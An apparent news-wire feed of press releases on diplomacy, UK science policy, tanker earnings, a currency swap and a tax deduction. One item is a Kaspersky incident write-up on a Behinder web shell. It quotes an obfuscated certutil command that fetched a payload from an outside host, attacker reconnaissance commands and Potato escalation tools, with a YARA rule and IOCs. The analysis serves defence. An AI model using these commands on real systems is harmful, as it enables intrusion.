    Mr Peters’ visit to Ulaanbaatar marked the 50th anniversary of the establishment of diplomatic relations between New Zealand and Mongolia – and is the first visit to Mongolia by a New Zealand Foreign Minister since 2013. 

    The visit involved discussions with Prime Minister Luvsannamsrain Oyun-Erdene, Foreign Minister Batmunkh Battsetseg and Chairman of the Mongolian Parliament Dashzegve Amarbayasgalan. 

    “Despite the geographic distance between us, New Zealand and Mongolia have much in common,” Mr Peters says. 

    “We are small, democratic states navigating a complex strategic environment, including by strongly supporting the rules-based international order and multilateral system.”   

    While in Ulaanbaatar, the Minister also attended a photo exhibition celebrating our 50 years of diplomatic relations; was gifted a horse called “Stamina” by the Mongolian Government; and visited a traditional Mongolian dwelling (a “ger”) and sampled Mongolian fare while interacting with a nomadic family. 

    Mongolia is the fourth country in Mr Peters’ ongoing overseas trip, following United Arab Emirates, Saudi Arabia and China. He is now in the Republic of Korea.

    MIL OSI New Zealand News –

    February 28, 2025

  • MIL-OSI United Kingdom: UK’s global science and tech ambitions refreshed under new banner

    Source: United Kingdom – Executive Government & Departments

    Press release

    UK’s global science and tech ambitions refreshed under new banner

    Worldwide team championing UK science and tech partnership as a force for good, to be re-launched as the Science and Technology Network.

    Science and Technology Network launched.

    • Worldwide team championing UK science and tech partnership as a force for good, to be re-launched as the Science and Technology Network
    • Network already has over 130 staff in 65 locations globally, building partnerships around the science and tech innovations set to make us collectively healthier, wealthier, more resilient and secure in support of the Plan for Change
    • Science Minister welcomes Network’s re-launch alongside leaders from across research, academia and business

    The UK’s global team for forging the international collaboration and championing the power of British science and tech expertise to solve some of the world’s most pressing problems– from clean energy to health – will be refreshed under a new banner, as officially unveiled by the Science Minister in Whitehall on Thursday 27 February.

    The Science and Technology Network (STN) will be the new name for the former Science and Innovation Network: a 130-strong team based in 65 locations worldwide, with a mission to forge deeper international partnerships on science and technology, and seek new opportunities for British sci-tech pioneers in support of the Plan for Change.

    The network’s new name reflects the circumstances we now live in, where breakthrough technologies like AI, quantum, and engineering biology hold enormous potential for tackling environmental and social challenges and unlocking economic growth. In a fast-changing global landscape, now more than ever we need to pool the bright talent and big ideas that are needed to harness these emerging technologies for good, at home and abroad.

    Recent announcements like the AI Opportunities Action Plan clearly show the government’s domestic ambitions for harnessing the power of technology to improve people’s lives, but these aspirations are not solely inward-facing. The UK wants to work with international partners to share expertise, unlock investment, and deliver transformational benefits for communities in the UK and around the world.

    UK Science Minister Lord Vallance said:

    Britain is stronger when it works together with others and nowhere is that more true than when it comes to science and technology. Genius is not bound by geography, and by building international ties, we stand the best chance of developing new ideas and breakthroughs to solve the toughest challenges that all societies face.

    The UK has a long track record as a global leader, when it comes to research and innovation. We are uniquely placed to convene international work that brings scientific expertise to bear on improving health, adoption clean sources of energy, and more. It is only right that we put the critically important role of technology, at the centre of those efforts.

    Foreign, Commonwealth and Development Office Minister Catherine West said:

    The UK harnesses cutting-edge technology to tackle the world’s toughest challenges, from the climate crisis to the threat of pandemics.

    With staff based in 65 locations, the newly-named Science and Technology Network will help us forge global partnerships and galvanise scientific expertise, to enhance security and growth around the world.

    Lord Vallance will speak to an audience of researchers, academics and business leaders at the Foreign, Commonwealth & Development Office, this evening – which also marks the Network’s 25th anniversary. He will be joined by FCDO’s Chief Scientific Adviser, Professor Charlotte Watts, as they welcome the Network’s new name and to emphasise the importance of its ongoing work.

    Some examples of STN wins include UK-Danish work in the Arctic that could be crucial to our understanding of climate change, the establishment of the UK-Japan Semiconductors Partnership, and a UK-USA partnership that is bringing the massive potential of quantum technologies to bear in health and life sciences.

    The Network has also supported the delivery of potentially lifesaving research as overseas aid, ranging from work tackling the Zika virus outbreak in Brazil, to a project trying to better forecast devastating typhoons in South-East Asia.

    The Science and Technology Network has 3 objectives:

    • promoting UK science, technology and innovation excellence and leadership globally
    • actively building and facilitating science, technology and innovation collaborations
    • providing insight on science and technology trends and opportunities

    Through its work, the Network aims to build international partnerships that can help seize the opportunities and mitigate the risks arising from critical and emerging technologies, as well as tackling the climate crisis and improving health.

    Sir Mark Walport, Vice President and Foreign Secretary of the Royal Society, said:

    Maintaining the position of the UK as a global leader in science, engineering and technology is essential for the UK’s long-term prosperity and international standing. Furthermore, diplomacy in support of science is at the heart of the development of international policies and collaboration to address issues such as climate change, loss of biodiversity, pandemics and food security. The Science and Technology Network’s team of diplomats and civil servants will play an extremely important role in support of these aims.

    Professor Christopher Smith, UK Research and Innovation’s International Champion, said:

    The rebrand of The Science and Technology Network is a reflection of its evolving role in fostering global research and innovation partnerships.

    The network has been instrumental in strengthening the UK’s position as a world leader in science, and we look forward to continuing our collaboration to drive international research excellence, support innovation-led growth, and tackle global challenges together across all disciplines and sectors.

    Maddalaine Ansell, Director Education, British Council, said:

    International collaboration in science and technology is critical if we are to overcome global challenges. The UK, which is ranked 3rd in the world for producing highly cited research outputs, must be part of the global effort. Playing our full part will also reinforce and further expand the UK’s reputation both for excellence in science and as a force for good in the global community. The Science & Technology Network is an important enabler of UK activity on the global stage, supporting the UK’s scientific community to develop stable and lasting partnerships with peers around the world.

    Jamie Arrowsmith, Director of Universities UK International, said:

    UK universities have a long-standing relationship with the Network, and our members get immense value from their in-country expertise, insight, and intelligence. This rebranding reflects the dynamic and evolving landscape of science and technology, and we believe it will further enhance the network’s ability to drive international collaboration and deliver on global and technological challenges. 

    Universities UK International is committed to fostering a globally collaborative higher education environment where research, science, and technology can thrive. We look forward to continuing to work with the Science and Technology Network to advance these shared goals.

    Beth Thompson, Executive Director Policy and Partnerships, Wellcome, said:

    Science and technology are pillars of the UK’s diplomatic work. We welcome the government’s recognition of the Science and Technology Network’s (STN) newly invigorated and invaluable role, fostering global partnerships that tackle shared challenges, and unlock new opportunities for collaboration.

    The UK has a world-class research sector, but progress is not achieved in isolation – it thrives on international cooperation. We have seen first-hand the value of the Network in helping us build relationships across the globe that are critical to advancing research. The refreshed STN will be instrumental in strengthening these international partnerships, ensuring science and technology continue to deliver a healthier, more prosperous future for the UK and the world.

    DSIT media enquiries

    Email press@dsit.gov.uk

    Monday to Friday, 8:30am to 6pm 020 7215 300

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    Published 28 February 2025

    MIL OSI United Kingdom –

    February 28, 2025

  • MIL-OSI: FRO – Fourth Quarter and Full Year 2024 Results

    Source: GlobeNewswire (MIL-OSI)

    FRONTLINE PLC REPORTS RESULTS FOR THE FOURTH QUARTER ENDED DECEMBER 31, 2024

    Frontline plc (the “Company”, “Frontline,” “we,” “us,” or “our”), today reported unaudited results for the three and twelve months ended December 31, 2024:

    Highlights

    • Profit of $66.7 million, or $0.30 per share for the fourth quarter of 2024.
    • Adjusted profit of $45.1 million, or $0.20 per share for the fourth quarter of 2024.
    • Declared a cash dividend of $0.20 per share for the fourth quarter of 2024.
    • Reported revenues of $425.6 million for the fourth quarter of 2024.
    • Achieved average daily spot time charter equivalent earnings (“TCEs”)1 for VLCCs, Suezmax tankers and LR2/Aframax tankers in the fourth quarter of $35,900, $33,300 and $26,100 per day, respectively.
    • Fully drew down a sale-and-leaseback agreement in an amount of $512.1 million to refinance 10 Suezmax tankers, which generated net cash proceeds of $101.0 million in the fourth quarter of 2024.
    • Sold its oldest Suezmax tanker, built in 2010, for a net sales price of $48.5 million and delivered the vessel to its new owner in October 2024. The transaction generated net cash proceeds of $36.5 million after repayment of existing debt and a gain of $17.9 million in the fourth quarter of 2024.
    • Repaid the remaining $75.0 million outstanding under the $275.0 million senior unsecured revolving credit facility with an affiliate of Hemen Holding Limited, the Company’s largest shareholder (“Hemen”) in the fourth quarter of 2024.
    • Entered into three senior secured credit facilities for a total amount of up to $239.0 million to refinance outstanding debt on three VLCCs and one Suezmax tanker and, in addition, to provide revolving credit capacity in a total amount of up to $91.9 million.

    Lars H. Barstad, Chief Executive Officer of Frontline Management AS, commented:

    “The fourth quarter of 2024 came in unusually soft compared to previous years. Global oil demand was up marginally as the year came to an end, but global seaborne exports slowed in the fourth quarter. During the quarter we saw positive developments in the enforcement of sanctions against Iran and Russia in particular, but we could not escape the fact that these two countries represent a material part of the supply to Asia, at cost to demand for the vessels Frontline operates. For 2025 we have already seen broader sanctions with a wider scope, at the same time as key importers of exposed crude are diversifying away from the mentioned suppliers. Compliant fleet growth for the asset classes we deploy peaked a few years back, making the outlook very constructive as Frontline sail into the new year with our cost-efficient operations and modern fleet.”

    Inger M. Klemp, Chief Financial Officer of Frontline Management AS, added:

    ”In February 2025 we entered into three senior secured credit facilities for a total amount of up to $239.0 million to refinance three existing term loan facilities, with total balloon payments of $142.0 million maturing during 2025, leaving the Company with no debt maturities until the end of 2026 and, in addition, to provide revolving credit capacity in a total amount of up to $91.9 million. Through these new financings we further strengthen our strong liquidity and reduce our borrowing costs and cash break even rates. We continue to focus on maintaining our competitive cost structure, breakeven levels and solid balance sheet to ensure that we are well positioned to generate significant cash flow and create value for our shareholders.”

    Average daily TCEs and estimated cash breakeven rates

    ($ per day) Spot TCE Spot TCE currently contracted % Covered Estimated average daily cash breakeven rates for 2025
      2024 Q4 2024 Q3 2024 Q2 2024 Q1 2024 2023 Q1 2025 2025
    VLCC 43,400 35,900 39,600 49,600 48,100 50,300 43,700 80% 29,200
    Suezmax 41,400 33,300 39,900 45,600 45,800 52,600 35,400 77% 24,000
    LR2 / Aframax 42,300 26,100 36,000 53,100 54,300 46,800 29,700 64% 22,200

    We expect the spot TCEs for the full first quarter of 2025 to be lower than the spot TCEs currently contracted, due to the impact of ballast days during the first quarter of 2025. See Appendix 1 for further details.

    The Board of Directors
    Frontline plc
    Limassol, Cyprus
    February 27, 2025

    Ola Lorentzon – Chairman and Director
    John Fredriksen – Director
    James O’Shaughnessy – Director
    Steen Jakobsen – Director
    Cato Stonex – Director
    Ørjan Svanevik – Director
    Dr. Maria Papakokkinou – Director

    Questions should be directed to:

    Lars H. Barstad: Chief Executive Officer, Frontline Management AS
    +47 23 11 40 00

    Inger M. Klemp: Chief Financial Officer, Frontline Management AS
    +47 23 11 40 00 

    Forward-Looking Statements

    Matters discussed in this report may constitute forward-looking statements. The Private Securities Litigation Reform Act of 1995 provides safe harbor protections for forward-looking statements, which include statements concerning plans, objectives, goals, strategies, future events or performance, and underlying assumptions and other statements, which are other than statements of historical facts.

    Frontline plc and its subsidiaries, or the Company, desires to take advantage of the safe harbor provisions of the Private Securities Litigation Reform Act of 1995 and is including this cautionary statement in connection with this safe harbor legislation. This report and any other written or oral statements made by us or on our behalf may include forward-looking statements, which reflect our current views with respect to future events and financial performance and are not intended to give any assurance as to future results. When used in this document, the words “believe,” “anticipate,” “intend,” “estimate,” “forecast,” “project,” “plan,” “potential,” “will,” “may,” “should,” “expect” and similar expressions, terms or phrases may identify forward-looking statements.

    The forward-looking statements in this report are based upon various assumptions, including without limitation, management’s examination of historical operating trends, data contained in our records and data available from third parties. Although we believe that these assumptions were reasonable when made, because these assumptions are inherently subject to significant uncertainties and contingencies which are difficult or impossible to predict and are beyond our control, we cannot assure you that we will achieve or accomplish these expectations, beliefs or projections. We undertake no obligation to update any forward-looking statements, whether as a result of new information, future events or otherwise.

    In addition to these important factors and matters discussed elsewhere herein, important factors that, in our view, could cause actual results to differ materially from those discussed in the forward-looking statements include:

    • the strength of world economies;
    • fluctuations in currencies and interest rates, including inflationary pressures and central bank policies intended to combat overall inflation and rising interest rates and foreign exchange rates;
    • the impact that any discontinuance, modification or other reform or the establishment of alternative reference rates have on the Company’s floating interest rate debt instruments;
    • general market conditions, including fluctuations in charter hire rates and vessel values;
    • changes in the supply and demand for vessels comparable to ours and the number of newbuildings under construction;
    • the highly cyclical nature of the industry that we operate in;
    • the loss of a large customer or significant business relationship;
    • changes in worldwide oil production and consumption and storage;
    • changes in the Company’s operating expenses, including bunker prices, dry docking, crew costs and insurance costs;
    • planned, pending or recent acquisitions, business strategy and expected capital spending or operating expenses, including dry docking, surveys and upgrades;
    • risks associated with any future vessel construction;
    • our expectations regarding the availability of vessel acquisitions and our ability to complete vessel acquisition transactions as planned;
    • our ability to successfully compete for and enter into new time charters or other employment arrangements for our existing vessels after our current time charters expire and our ability to earn income in the spot market;
    • availability of financing and refinancing, our ability to obtain financing and comply with the restrictions and other covenants in our financing arrangements;
    • availability of skilled crew members and other employees and the related labor costs;
    • work stoppages or other labor disruptions by our employees or the employees of other companies in related industries;
    • compliance with governmental, tax, environmental and safety regulation, any non-compliance with U.S. or European Union regulations;
    • the impact of increasing scrutiny and changing expectations from investors, lenders and other market participants with respect to our ESG policies;
    • Foreign Corrupt Practices Act of 1977 or other applicable regulations relating to bribery;
    • general economic conditions and conditions in the oil industry;
    • effects of new products and new technology in our industry, including the potential for technological innovation to reduce the value of our vessels and charter income derived therefrom;
    • new environmental regulations and restrictions, whether at a global level stipulated by the International Maritime Organization, and/or imposed by regional or national authorities such as the European Union or individual countries;
    • vessel breakdowns and instances of off-hire;
    • the impact of an interruption in or failure of our information technology and communications systems, including the impact of cyber-attacks upon our ability to operate;
    • potential conflicts of interest involving members of our Board of Directors and senior management;
    • the failure of counter parties to fully perform their contracts with us;
    • changes in credit risk with respect to our counterparties on contracts;
    • our dependence on key personnel and our ability to attract, retain and motivate key employees;
    • adequacy of insurance coverage;
    • our ability to obtain indemnities from customers;
    • changes in laws, treaties or regulations;
    • the volatility of the price of our ordinary shares;
    • our incorporation under the laws of Cyprus and the different rights to relief that may be available compared to other countries, including the United States;
    • changes in governmental rules and regulations or actions taken by regulatory authorities;
    • government requisition of our vessels during a period of war or emergency;
    • potential liability from pending or future litigation and potential costs due to environmental damage and vessel collisions;
    • the arrest of our vessels by maritime claimants;
    • general domestic and international political conditions or events, including “trade wars”;
    • any further changes in U.S. trade policy that could trigger retaliatory actions by the affected countries;
    • potential disruption of shipping routes due to accidents, environmental factors, political events, public health threats, international hostilities including the ongoing conflict between Russia and Ukraine, the conflict between Israel and Hamas and related conflicts in the Middle East, the Houthi attacks in the Red Sea and the Gulf of Aden, acts by terrorists or acts of piracy on ocean-going vessels;
    • the impact of the U.S. presidential and congressional election results affecting the economy, future government laws and regulations, trade policy matters, such as the imposition of tariffs, the amendment, termination or any other material change to a relationship governed by a treaty and other import restrictions;
    • the length and severity of epidemics and pandemics and their impacts on the demand for seaborne transportation of crude oil and refined products;
    • the impact of port or canal congestion;
    • business disruptions due to adverse weather, natural disasters or other disasters outside our control; and
    • other important factors described from time to time in the reports filed by the Company with the Securities and Exchange Commission.

    We caution readers of this report not to place undue reliance on these forward-looking statements, which speak only as of their dates. These forward-looking statements are no guarantee of our future performance, and actual results and future developments may vary materially from those projected in the forward-looking statements.

    This information is subject to the disclosure requirements pursuant to Section 5-12 the Norwegian Securities Trading Act.

    1 This press release describes Time Charter Equivalent earnings and related per day amounts and spot TCE currently contracted, which are not measures prepared in accordance with IFRS (“non-GAAP”). See Appendix 1 for a full description of the measures and reconciliation to the nearest IFRS measure.

    Attachment

    • 4th Quarter 2024 Results

    The MIL Network –

    February 28, 2025

  • MIL-OSI Economics: The SOC files: Chasing the web shell

    Source: Securelist – Kaspersky

    Headline: The SOC files: Chasing the web shell

    Web shells have evolved far beyond their original purpose of basic remote command execution, and many now function more like lightweight exploitation frameworks. These tools often include features such as in-memory module execution and encrypted command-and-control (C2) communication, giving attackers flexibility while minimizing their footprint.

    This article walks through a SOC investigation where efficient surface-level analysis led to the identification of a web shell associated with a well-known toolset commonly associated with Chinese-speaking threat actors. Despite being a much-discussed tool, it is still used by the attackers for post-exploitation activities, thanks to its modular design and adaptability. We’ll break down the investigative process, detail how the analysts uncovered the web shell family, and highlight practical detection strategies to help defenders identify similar threats.

    Onset

    It’s early Monday morning, almost 4am UTC time, and the apparent nighttime calm inside the SOC is abruptly interrupted by an alert from our SIEM. It indicates that Kaspersky Endpoint Security’s heuristic engine has detected a web shell (HEUR:Backdoor.MSIL.WebShell.gen) on the SharePoint server of a government infrastructure in Southeast Asia, a warning that no SOC analyst would want to ignore.

    C:WindowsSystem32inetsrvw3wp.exe –ap “SharePoint” [...]

    └── “cmd.exe” /c cd /d “[REDACTED]”&,;;;,@cer^t^u^t^il –u“”“”r“”“”l“”“”c“”“”a“”“”c“”“”h“”“”e“”“” –split –f hxxps://bashupload[.]com/[REDACTED]/404.aspx 404.aspx

    └── C:WindowsMicrosoft.NETFramework64v4.0.30319Temporary ASP.NET Filesroot[REDACTED][REDACTED]App_Web_404.aspx.[REDACTED].[REDACTED].dll

    The night shift team springs into action, knowing that the web shell could be the beginning of much worse activity, and that every second counts. Initial analysis of the telemetry suggests that the attackers exploited the affected web server, either by taking advantage of another web shell or a command injection vulnerability.

    From the listing above, where the process tree that triggered the first detection is reported, it is possible to observe an attempt to deploy a web shell disguised as a 404 page. The certutil utility was used to download the ASPX payload, which was hosted by abusing Bashupload. This web service, which is used to upload files from the command line and allows one-time downloads of samples, is no stranger to being abused as an ingress tool transfer technique.

    As is common practice, the command has been slightly obfuscated by using escape characters (such as ^ and “) to break up the keywords “certutil” and “urlcache” in order to bypass basic detection rules based on simple pattern matching.
    As part of our MDR service, we are required to operate within pre-established boundaries that are tailored to the customer’s business continuity needs and risk tolerance. In this case, the customer retains ownership of decisions regarding sensitive assets, including the isolation of compromised hosts, so we can’t instantly block the attack and must continue to observe and perform a preliminary threat analysis.

    A manual reconnaissance and discovery activity by an operator starts appearing, and despite the tension, an occasional typo (“localgorup”) manages to draw a smile:

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    whoami

    net user

    query user

    net localgorup administrators

    net localgroup administrators

    whoami /all

    “cmd.exe” /c cd /d “[REDACTED]”&,;;;,@cer^t^u^t^il[...]

    Aftermath

    To gain system privileges, the threat actors used several variants of the well-known Potato tools, either as memory-only modules or as standalone executables:

    Process: C:WindowsSystem32inetsrvw3wp.exe
    MD5 (memory region): 0xB8A468615E0B0072D2F32E44A7C9A62F
    Description: BadPotato
    Original filename: BadPotato.dll
    MD5 (memory region): 0xB5755BE4AAD8D8FE1BD0E6AC5728067B
    Description: SweetPotato
    Original filename: SweetPotato.dll

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    Paths:

    C:ProgramDataDRMgod.exe

    C:UsersDefaultVideosgod.exe

    MD5: 0xEF153E1E216C80BE3FDD520DD92526F4

    Description: GodPotato

    Process: C:WindowsSystem32inetsrvw3wp.exe

    MD5 (memory region): 0xB8A468615E0B0072D2F32E44A7C9A62F

    Description: BadPotato

    Original filename: BadPotato.dll

    MD5 (memory region): 0xB5755BE4AAD8D8FE1BD0E6AC5728067B

    Description: SweetPotato

    Original filename: SweetPotato.dll

    To bring standalone binaries into the environment, the attackers again used the Bashupload free web service, which we saw in the initial web shell alert. Of all the tools, the GodPotato standalone binary ultimately succeeded in gaining system privileges.

    With elevated access, the attackers moved on to domain trust enumeration, mapping relationships between domains and identifying potential targets for lateral movement. But let’s get back to the main question: What kind of web shell are we dealing with here?

    Identifying the threat

    Unfortunately, we were unable to retrieve the web shell sample used during the initial access phase. However, starting with the privilege escalation phase, several .NET modules began to appear in the memory of the IIS worker process ( w3wp.exe), ranging from popular tools like Potato to other lesser known ones. One set of libraries in particular caught our attention, so we decided to investigate further by performing a manual inspection.

    Fortunately, the libraries were not obfuscated and lent themselves to quick static analysis:

    Example of a library detected in IIS process memory (0x0B593115C273A90886864AF7D4973EED)

    In the image above, if you look at the orange method names in the Assembly Explorer on the left, you can observe some peculiarities that can be used to identify similar samples. Although many of the methods names are very generic, there is one that is quite unique, EnjsonAndCrypt. A quick Google search of this name yields no results, which means it may be sample-specific.

    The getExtraData method is also interesting: although it has a non-specific name, there is a sequence of bytes [126, 126, 126, 126, 126, 126] that is used to parse key:value pairs whose value is base64 encoded:

    The “extraData” structure example

    Threat actors need to use the same byte sequence if they want to maintain backward compatibility across different implant versions, but since it is also very generic, we should combine both indicators, the getExtraData name and this byte array, to define a sufficiently precise detection condition that can be used in conjunction with EnjsonAndCrypt to create a detection rule.

    Uncovering modules and variants

    By feeding our newly created YARA rule to a multi-AV platform such as VirusTotal, we can identify additional samples that differ from those observed in the targeted infrastructure. It is worth noting that some of these have a poor detection rate:

    Poorly detected BasicInfo.dll (32865229279DE31D08166F7F24226843) sample

    Below are the most common names of libraries that match the rule:

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    BShell.dll

    BasicInfo.dll

    Cmd.dll

    Database.dll

    Echo.dll

    Eval.dll

    FileOperation.dll

    Hs.dll

    LoadNativeLibrary.dll

    Loader.dll

    Plugin.dll

    PortMap.dll

    RealCMD.dll

    RemoteSocksProxy.dll

    ReversePortMap.dll

    SocksProxy.dll

    Transfer.dll

    Utils.dll

    Module filenames

    Those familiar with the toolkit used may have already identified it by looking at these filenames, but if not, it is also possible to infer the relationship by simply pivoting to the samples available on VT:

    Sample FC793D722738C7FCDFE8DED66C96495B relations on VT

    Behinder, also known as Rebeyond, Ice Scorpion, 冰蝎 (Bīng xiē), is known as a cross-platform web shell designed to be compatible with most popular web servers running PHP, Java or ASP.NET as in our investigation. Although the web shell sample itself is very lightweight and somewhat basic, the tool includes a powerful GUI for operators with numerous capabilities including loading additional modules and giving them full control over compromised environments.

    Its built-in AES-encrypted communication allows threat actors to maintain stealthy control over a compromised web server, often bypassing traditional network detection mechanisms, and its modular, flexible nature allows malicious actors to use it as a base for customization even though it is only available as a pre-built tool on GitHub. Moreover, the presence of several step-by-step Chinese language tutorials on CSDN (Chinese Software Developer Network) makes it widely accessible to opportunistic bad actors.

    The bigger picture

    Taking a step back, the relationship between the memory artifacts observed on the customer’s server during the post-exploitation phase and the web shell source code becomes evident. The web shell is not just a foothold, it’s a fully functional backdoor that facilitates encrypted communication with the operators’ infrastructure, allowing them to call built-in or custom-loaded libraries, deploy additional tools, conduct reconnaissance and exfiltrate data while remaining hidden:

    ASPX web shell side by side with .NET payload

    Although the Behinder web shell has been widely discussed in the past, especially the PHP and JSP variants, it is still a current and evolving cyberweapon. Even if attackers make mistakes or act carelessly by reusing the same encryption keys or exhibiting the same patterns, we can’t afford to let our guard down. In the incident described in this article, if we had not taken the time to dig deeper into the artifacts observed in memory, we likely would have missed the toolkit altogether.

    Threats evolve quickly, and signature-based malware detection only catches what we already know. Underestimating the potential of memory-based payloads can lead to a false sense of security. Teams may assume that if they haven’t detected any suspicious files, they are safe, when in fact threats may be actively operating in memory.

    For SOC teams, continuous learning, proactive threat hunting, and refining detection techniques are essential to staying ahead of adversaries.

    Happy hunting and see you on the next mission!

    YARA rule

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    rule dotnetFrozenPayload

    {

      strings:

        $CorDllMain_mscoree_dll = {00 5F 43 6F 72 44 6C 6C 4D 61 69 6E 00 6D 73 63 6F 72 65 65 2E 64 6C 6C 00}

        $EnjsonAndCrypt = {00 45 6E 6A 73 6F 6E 41 6E 64 43 72 79 70 74 00}

        $getExtraData = {00 67 65 74 45 78 74 72 61 44 61 74 61 00}

        $extraDataMagicArray = {00 7E 7E 7E 7E 7E 7E 00} //0x00, byte[] {126, …,}, 0x00

      condition:

        uint16(0) == 0x5A4D and

        filesize 400000 and

        $CorDllMain_mscoree_dll and

        (

          $EnjsonAndCrypt or

          (

            $getExtraData and $extraDataMagicArray

          )

        )

    }

    Indicators of compromise

    Payloads
    EF153E1E216C80BE3FDD520DD92526F4                          god.exe
    B8A468615E0B0072D2F32E44A7C9A62F                          BadPotato.dll
    B5755BE4AAD8D8FE1BD0E6AC5728067B                          SweetPotato.dll
    578A303D8A858C3265DE429DB9F17695                         BasicInfo.dll
    EA19D6845B6FC02566468FF5F838BFF1                          FileOperation.dll
    CD56A5A7835B71DF463EC416259E6F8F                          Cmd.dll
    5EA7F17E75D43474B9DFCD067FF85216                          Echo.dll

    File paths

    C:ProgramDataDRM
    C:UsersDefaultVideos

    MIL OSI Economics –

    February 28, 2025

  • MIL-OSI Economics: Renewal of the Bilateral Swap Arrangement between Japan and India

    Source: Reserve Bank of India

    Japan and India renewed the Bilateral Swap Arrangement (BSA) effective today (Feb. 28, 2025).

    The Bank of Japan, acting as agent for the Minister of Finance of Japan, and the Reserve Bank of India signed the second Amendment and Restatement Agreement of the BSA. The BSA is a two-way arrangement where both authorities can swap their local currencies in exchange for the US Dollar. The size of the BSA remains unchanged, that is, up to 75 billion US Dollars.

    Japan and India believe that the BSA, which aims to strengthen and complement other financial safety nets, will further deepen financial cooperation between the two countries and contribute to regional and global financial stability.

    (Puneet Pancholy)  
    Chief General Manager

    Press Release: 2024-2025/2272

    MIL OSI Economics –

    February 28, 2025

  • MIL-OSI Asia-Pac: Pro-birth tax deduction implemented

    Source: Hong Kong Information Services

    The Government today announced in the Gazette that a tax deduction for assisted reproductive (AR) service expenses came into force today.

     

    The deduction, under salaries tax and personal assessment, is applicable to qualifying AR service expenses paid starting from the 2024/25 year of assessment. All AR services received for medical reasons are considered as qualifying AR services.

     

    Two categories of persons are eligible:

     

    (1) infertile couples or people under specified circumstances, which individuals undergoing sex selection of embryos to avoid sex-linked genetic diseases, and single women continuing to receive a procedure where gametes were, or an embryo was, placed in their body, pursuant to the same procedure taking place when they were party to a marriage; and

     

    (2) patients who may be rendered infertile as a result of chemotherapy, radiotherapy, surgery, or other medical treatment.

     

    The Government elaborated that expenses paid for qualifying AR services by a taxpayer, by a taxpayer’s spouse (who is not living apart from the taxpayer), or by both, are allowable deductions.

     

    The maximum deduction allowable for a year of assessment is $100,000. For married taxpayers, the maximum deduction for both taxpayer and spouse is $100,000 in total.

     

    The Government reminded taxpayers that the Inland Revenue Department may request them to provide the Proof of Qualifying AR Service Expenses in support of any deduction claimed.

     

    Citizens who have paid for qualifying AR service expenses on or after April 1 last year and who intend to claim tax deductions for such expenses may obtain the proof retrospectively from centres holding an artificial insemination by husband licence, a treatment licence or a storage licence.

    MIL OSI Asia Pacific News –

    February 28, 2025
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